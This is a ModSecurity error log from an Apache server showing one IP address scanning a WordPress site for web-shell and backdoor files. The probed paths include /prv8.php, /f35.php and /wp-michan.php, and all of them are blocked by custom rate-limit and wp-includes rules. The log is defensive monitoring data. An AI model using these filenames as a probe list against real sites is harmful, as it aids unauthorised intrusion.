[Fri Apr 10 16:25:40.729365 2026] [:error] [pid 3934:tid 3953] [client 172.213.241.33:10894] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adi0BIa41m-BS8mg82cKUQAAAM4"]
[Fri Apr 10 16:25:41.211448 2026] [:error] [pid 3934:tid 3959] [client 172.213.241.33:10983] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adi0BYa41m-BS8mg82cKVgAAANQ"]
[Fri Apr 10 16:25:41.671657 2026] [:error] [pid 13101:tid 13154] [client 172.213.241.33:11023] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adi0Bd8Ldw85818pj2pjwAAAAJU"]
[Fri Apr 10 16:25:42.138503 2026] [:error] [pid 13189:tid 13208] [client 172.213.241.33:10918] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adi0BpAxiJKPums3eBAWkgAAAFA"]
[Fri Apr 10 16:25:42.603879 2026] [:error] [pid 3934:tid 3961] [client 172.213.241.33:11049] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adi0Boa41m-BS8mg82cKXAAAANY"]
[Fri Apr 10 16:25:43.072175 2026] [:error] [pid 3934:tid 3963] [client 172.213.241.33:11051] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adi0B4a41m-BS8mg82cKYQAAANg"]
[Fri Apr 10 16:25:43.554056 2026] [:error] [pid 13189:tid 13207] [client 172.213.241.33:10929] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adi0B5AxiJKPums3eBAWlwAAAE8"]
[Fri Apr 10 16:25:44.024487 2026] [:error] [pid 3934:tid 3941] [client 172.213.241.33:11129] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adi0CIa41m-BS8mg82cKaAAAAMI"]
[Fri Apr 10 16:25:44.488968 2026] [:error] [pid 3934:tid 3955] [client 172.213.241.33:10926] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adi0CIa41m-BS8mg82cKagAAANA"]
[Fri Apr 10 16:25:44.953506 2026] [:error] [pid 13189:tid 13214] [client 172.213.241.33:10967] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adi0CJAxiJKPums3eBAWoAAAAFY"]
[Fri Apr 10 16:25:45.420398 2026] [:error] [pid 3934:tid 3962] [client 172.213.241.33:10935] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adi0CYa41m-BS8mg82cKbgAAANc"]
[Fri Apr 10 16:25:45.902326 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:10759] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adi0CYa41m-BS8mg82cKdQAAAMY"]
[Fri Apr 10 16:25:52.439472 2026] [:error] [pid 13100:tid 13112] [client 172.213.241.33:10887] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "adi0EFzg-ZkZ0InWIP1VgwAAAQc"]
[Fri Apr 10 16:25:53.000565 2026] [:error] [pid 3934:tid 3940] [client 172.213.241.33:10965] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "adi0EIa41m-BS8mg82cKogAAAME"]
[Fri Apr 10 16:25:53.470925 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:10898] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "adi0EYa41m-BS8mg82cKqQAAAMY"]
[Fri Apr 10 16:25:53.936324 2026] [:error] [pid 13189:tid 13208] [client 172.213.241.33:10921] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "adi0EZAxiJKPums3eBAWxAAAAFA"]
[Fri Apr 10 16:25:54.412207 2026] [:error] [pid 13189:tid 13209] [client 172.213.241.33:10914] [client 172.213.241.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adi0EpAxiJKPums3eBAWyAAAAFE"]
[Fri Apr 10 16:25:54.889894 2026] [:error] [pid 13189:tid 13207] [client 172.213.241.33:10787] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "adi0EpAxiJKPums3eBAWyQAAAE8"]
[Fri Apr 10 16:25:55.362968 2026] [:error] [pid 3934:tid 3957] [client 172.213.241.33:11065] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "adi0E4a41m-BS8mg82cKwgAAANI"]
[Fri Apr 10 16:25:55.824921 2026] [:error] [pid 13100:tid 13115] [client 172.213.241.33:10896] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "adi0E1zg-ZkZ0InWIP1VjwAAAQo"]
[Fri Apr 10 16:25:56.287895 2026] [:error] [pid 3934:tid 3939] [client 172.213.241.33:10884] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "adi0FIa41m-BS8mg82cK4AAAAMA"]
[Fri Apr 10 16:25:56.753660 2026] [:error] [pid 13189:tid 13197] [client 172.213.241.33:10903] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adi0FJAxiJKPums3eBAW5wAAAEU"]
[Fri Apr 10 16:25:57.218788 2026] [:error] [pid 13189:tid 13193] [client 172.213.241.33:10980] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adi0FZAxiJKPums3eBAW8wAAAEE"]
[Fri Apr 10 16:25:57.682370 2026] [:error] [pid 3934:tid 3947] [client 172.213.241.33:10992] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adi0FYa41m-BS8mg82cLBgAAAMg"]
[Fri Apr 10 16:25:58.146813 2026] [:error] [pid 13101:tid 13138] [client 172.213.241.33:10756] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adi0Ft8Ldw85818pj2pj-AAAAIU"]
[Fri Apr 10 16:25:58.617522 2026] [:error] [pid 3934:tid 3942] [client 172.213.241.33:11004] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adi0Foa41m-BS8mg82cLIQAAAMM"]
[Fri Apr 10 16:25:59.080273 2026] [:error] [pid 13102:tid 13167] [client 172.213.241.33:10902] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adi0F_9xLvjW2guI55YTDwAAAAc"]
[Fri Apr 10 16:25:59.539757 2026] [:error] [pid 3934:tid 3963] [client 172.213.241.33:10999] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adi0F4a41m-BS8mg82cLMwAAANg"]
[Fri Apr 10 16:26:00.007430 2026] [:error] [pid 13100:tid 13117] [client 172.213.241.33:10963] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adi0GFzg-ZkZ0InWIP1VpQAAAQw"]
[Fri Apr 10 16:26:00.474403 2026] [:error] [pid 3934:tid 3960] [client 172.213.241.33:10996] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "adi0GIa41m-BS8mg82cLQAAAANU"]
[Fri Apr 10 16:26:00.939357 2026] [:error] [pid 3934:tid 3942] [client 172.213.241.33:10951] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "adi0GIa41m-BS8mg82cLRAAAAMM"]
[Fri Apr 10 16:26:01.405059 2026] [:error] [pid 13102:tid 13175] [client 172.213.241.33:11027] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "adi0Gf9xLvjW2guI55YTEgAAAA8"]
[Fri Apr 10 16:26:01.863423 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:10893] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "adi0GYa41m-BS8mg82cLTgAAAMY"]
[Fri Apr 10 16:26:02.323624 2026] [:error] [pid 13189:tid 13205] [client 172.213.241.33:10899] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "adi0GpAxiJKPums3eBAXEgAAAE0"]
[Fri Apr 10 16:26:02.788598 2026] [:error] [pid 13101:tid 13157] [client 172.213.241.33:10972] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "adi0Gt8Ldw85818pj2pkBQAAAJg"]
[Fri Apr 10 16:26:03.250023 2026] [:error] [pid 13102:tid 13182] [client 172.213.241.33:10767] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "adi0G_9xLvjW2guI55YTFgAAABY"]
[Fri Apr 10 16:26:03.718700 2026] [:error] [pid 13101:tid 13138] [client 172.213.241.33:10886] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "adi0G98Ldw85818pj2pkCQAAAIU"]
[Fri Apr 10 16:26:04.181874 2026] [:error] [pid 13101:tid 13135] [client 172.213.241.33:10880] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "adi0HN8Ldw85818pj2pkCgAAAII"]
[Fri Apr 10 16:26:04.668175 2026] [:error] [pid 13189:tid 13206] [client 172.213.241.33:11096] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "adi0HJAxiJKPums3eBAXGwAAAE4"]
[Fri Apr 10 16:26:05.129450 2026] [:error] [pid 13102:tid 13176] [client 172.213.241.33:10888] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "adi0Hf9xLvjW2guI55YTHwAAABA"]
[Fri Apr 10 16:26:05.594044 2026] [:error] [pid 13189:tid 13203] [client 172.213.241.33:10781] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "adi0HZAxiJKPums3eBAXHQAAAEs"]
[Fri Apr 10 16:26:06.054901 2026] [:error] [pid 13100:tid 13105] [client 172.213.241.33:11067] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "adi0Hlzg-ZkZ0InWIP1VywAAAQA"]
[Fri Apr 10 16:26:06.528409 2026] [:error] [pid 13189:tid 13216] [client 172.213.241.33:10793] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "adi0HpAxiJKPums3eBAXIwAAAFg"]
[Fri Apr 10 16:26:07.002308 2026] [:error] [pid 13189:tid 13209] [client 172.213.241.33:10970] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "adi0H5AxiJKPums3eBAXJwAAAFE"]
[Fri Apr 10 16:26:07.463194 2026] [:error] [pid 13189:tid 13212] [client 172.213.241.33:10911] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "adi0H5AxiJKPums3eBAXKgAAAFQ"]
[Fri Apr 10 16:26:07.949464 2026] [:error] [pid 3934:tid 3953] [client 172.213.241.33:10913] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adi0H4a41m-BS8mg82cLYAAAAM4"]
[Fri Apr 10 16:26:08.413310 2026] [:error] [pid 13102:tid 13172] [client 172.213.241.33:10764] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adi0IP9xLvjW2guI55YTKAAAAAw"]
[Fri Apr 10 16:26:08.871101 2026] [:error] [pid 3934:tid 3948] [client 172.213.241.33:10897] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adi0IIa41m-BS8mg82cLYgAAAMk"]
[Fri Apr 10 16:26:09.332871 2026] [:error] [pid 13102:tid 13169] [client 172.213.241.33:11068] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adi0If9xLvjW2guI55YTLAAAAAk"]
[Fri Apr 10 16:26:09.800615 2026] [:error] [pid 13189:tid 13208] [client 172.213.241.33:10780] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adi0IZAxiJKPums3eBAXMQAAAFA"]
[Fri Apr 10 16:26:10.261813 2026] [:error] [pid 3934:tid 3944] [client 172.213.241.33:11001] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adi0Ioa41m-BS8mg82cLaQAAAMU"]
[Fri Apr 10 16:26:10.726029 2026] [:error] [pid 3934:tid 3955] [client 172.213.241.33:10692] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adi0Ioa41m-BS8mg82cLawAAANA"]
[Fri Apr 10 16:26:11.188870 2026] [:error] [pid 3934:tid 3943] [client 172.213.241.33:10758] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adi0I4a41m-BS8mg82cLcAAAAMQ"]
[Fri Apr 10 16:26:11.646377 2026] [:error] [pid 13102:tid 13161] [client 172.213.241.33:10883] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adi0I_9xLvjW2guI55YTMAAAAAE"]
[Fri Apr 10 16:26:12.185305 2026] [:error] [pid 13189:tid 13205] [client 172.213.241.33:11138] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adi0JJAxiJKPums3eBAXOwAAAE0"]
[Fri Apr 10 16:26:12.644888 2026] [:error] [pid 13102:tid 13180] [client 172.213.241.33:10752] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adi0JP9xLvjW2guI55YTMgAAABQ"]
